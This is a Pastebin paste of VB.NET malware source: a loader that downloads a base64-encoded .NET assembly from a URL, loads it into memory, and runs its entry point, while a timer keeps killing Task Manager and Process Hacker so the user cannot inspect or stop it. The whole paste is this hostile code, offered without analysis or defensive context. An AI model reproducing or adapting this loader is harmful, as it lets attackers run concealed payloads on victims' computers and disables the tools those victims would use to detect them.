a guest Nov 25th, 2017 112 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Public Class Form1
  2.     Protected krar As New Net.WebClient
  3.     Protected king1 As String = krar.DownloadString("")
  4.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  5.         Dim krar0 As Object = king2.load(Convert.FromBase64String(king1))                              
  6.         Dim krar6 As Object = CallByName(krar0, "EntryPoint", CallType.Get)
  7.         Timer1.Start()
  8.         DirectCast(krar6, Reflection.MethodBase).Invoke("", Nothing)
  9.     End Sub
  10.     Protected king2 As Object = AppDomain.CurrentDomain
  12.     Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
  13.         If Process.GetProcessesByName("processHacker").Length > 0 Then      
  14.             For Each krar11 In Process.GetProcessesByName("processHacker")
  15.                 krar11.Kill()
  16.             Next
  17.         End If
  18.         If Process.GetProcessesByName("taskmgr").Length > 0 Then
  19.             For Each krar11 In Process.GetProcessesByName("taskmgr")
  20.                 krar11.Kill()
  21.             Next
  22.         End If
  23.     End Sub
  24. End Class
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand